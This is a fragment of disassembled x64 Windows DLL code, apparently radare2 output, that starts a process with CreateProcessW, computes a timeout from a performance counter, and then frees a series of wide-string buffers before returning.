mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x180005e08
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xc8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.180016aa4
mov rdi, rax
call fcn.180016a88
mov r9, rax
cmp rdi, 0x989680
jne 0x180005d4f
imul rax, r9, 0x64
jmp 0x180005dc8
cmp rdi, 0x16e3600
jne 0x180005dad
movabs r10, 0xb2f4fc0794908cf3
mov rax, r10
imul r9
add rdx, r9
sar rdx, 0x18
mov rcx, rdx
shr rcx, 0x3f
add rdx, rcx
imul r8, rdx, 0x3b9aca00
imul rcx, rdx, 0x16e3600
sub r9, rcx
imul rcx, r9, 0x3b9aca00
mov rax, r10
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x180005dc8
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
movabs rcx, 0x7fffffff4d2fa1ff
cmp rax, rcx
jge 0x180005de9
mov ecx, 0xb2d05e00
add rcx, rax
mov qword [rsp + 0xe0], rcx
jmp 0x180005dfb
movabs rax, 0x7fffffffffffffff
mov qword [rsp + 0xe0], rax
lea rcx, [rsp + 0xe0]
call fcn.18000cea0
call fcn.180006530
nop
mov rdx, qword [rsp + 0x240]
cmp rdx, 7
jbe 0x180005e56
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x228]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005e51
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064aa
call fcn.180018110
movdqu xmmword [rsp + 0x238], xmm6
mov word [rsp + 0x228], bx
mov rdx, qword [rsp + 0x260]
cmp rdx, 7
jbe 0x180005eaf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x248]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005eaa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064b0
call fcn.180018110
movdqu xmmword [rsp + 0x258], xmm6
mov word [rsp + 0x248], bx
mov rdx, qword [rsp + 0x280]
cmp rdx, 7
jbe 0x180005f08
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x268]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005f03
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064b6
call fcn.180018110
movdqu xmmword [rsp + 0x278], xmm6
mov word [rsp + 0x268], bx
mov rdx, qword [rsp + 0x2a0]
cmp rdx, 7
jbe 0x180005f61
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x288]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005f5c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064bc
call fcn.180018110
movdqu xmmword [rsp + 0x298], xmm6
mov word [rsp + 0x288], bx
mov rdx, qword [rsp + 0x2c0]
cmp rdx, 7
jbe 0x180005fba
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005fb5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064c2
call fcn.180018110
movdqu xmmword [rsp + 0x2b8], xmm6
mov word [rsp + 0x2a8], bx
mov rdx, qword [rsp + 0x2e0]
cmp rdx, 7
jbe 0x180006013
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000600e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064c8
call fcn.180018110
movdqu xmmword [rsp + 0x2d8], xmm6
mov word [rsp + 0x2c8], bx
mov rdx, qword [rsp + 0x300]
cmp rdx, 7
jbe 0x18000606c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x2e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006067
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064ce
call fcn.180018110
movdqu xmmword [rsp + 0x2f8], xmm6
mov word [rsp + 0x2e8], bx
mov rdx, qword [rsp + 0x320]
cmp rdx, 7
jbe 0x1800060c5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x308]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800060c0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064d4
call fcn.180018110
movdqu xmmword [rsp + 0x318], xmm6
mov word [rsp + 0x308], bx
mov rdx, qword [rsp + 0x220]
cmp rdx, 7
jbe 0x18000611e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x208]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006119
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064da
call fcn.180018110
movdqu xmmword [rsp + 0x218], xmm6
mov word [rsp + 0x208], bx
mov rdx, qword [rsp + 0x1e0]
cmp rdx, 7
jbe 0x180006177
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006172
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064e0
call fcn.180018110
mov qword [rsp + 0x1d8], rbx
mov qword [rsp + 0x1e0], 7
mov word [rsp + 0x1c8], bx
mov rdx, qword [rsp + 0x200]
cmp rdx, 7
jbe 0x1800061db
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800061d6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064e6
call fcn.180018110
mov qword [rsp + 0x1f8], rbx
mov qword [rsp + 0x200], 7
mov word [rsp + 0x1e8], bx
mov rdx, qword [rsp + 0x140]
cmp rdx, 7
jbe 0x18000623f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000623a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064ec
call fcn.180018110
mov qword [rsp + 0x138], rbx
mov qword [rsp + 0x140], 7
mov word [rsp + 0x128], bx
mov rdx, qword [rsp + 0x1a0]
cmp rdx, 7
jbe 0x1800062a3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000629e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064f2
call fcn.180018110
mov qword [rsp + 0x198], rbx
mov qword [rsp + 0x1a0], 7
mov word [rsp + 0x188], bx
mov rdx, qword [rsp + 0x180]
cmp rdx, 7
jbe 0x180006307
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006302
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064f8
call fcn.180018110
mov qword [rsp + 0x178], rbx
mov qword [rsp + 0x180], 7
mov word [rsp + 0x168], bx
mov rdx, qword [rsp + 0x118]
cmp rdx, 7
jbe 0x18000636b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006366
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800064fe
call fcn.180018110
mov qword [rsp + 0x110], rbx
mov qword [rsp + 0x118], 7
mov word [rsp + 0x100], bx
mov rdx, qword [rsp + 0x1c0]
cmp rdx, 7
jbe 0x1800063cf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x1a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800063ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006504
call fcn.180018110
mov qword [rsp + 0x1b8], rbx
mov qword [rsp + 0x1c0], 7
mov word [rsp + 0x1a8], bx
mov rdx, qword [rsp + 0x160]
cmp rdx, 7
jbe 0x180006433
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000642e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000650a
call fcn.180018110
mov rcx, qword [rsp + 0x1730]
xor rcx, rsp
call fcn.1800180f0
lea r11, [rsp + 0x1750]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r14
ret
call fcn.18001fba8
nop
call fcn.18001fba8
nop
call fcn.18001fba8
nop
call fcn.18001fba8
nop
call fcn.18001fba8
nop
call fcn.18001fba8
nop
call fcn.18001fba8
nop
call fcn.18001fba8
nop
call fcn.18001fba8
nop
call fcn.18001fba8
int3
call fcn.18001fba8
int3
call fcn.18001fba8
nop
call fcn.18001fba8
nop
call fcn.18001fba8
nop
call fcn.18001fba8
nop
call fcn.18001fba8
nop
call fcn.18001fba8
nop
call fcn.18001fba8
nop
call fcn.18001fba8
nop
call fcn.18001fba8
nop
call fcn.18001fba8
nop
call fcn.18001fba8
nop
call fcn.18001fba8
nop
call fcn.18001fba8
nop
call fcn.18001fba8
nop
call fcn.18001fba8
nop
call fcn.18001fba8
nop
call fcn.18001fba8
nop
call fcn.18001fba8
int3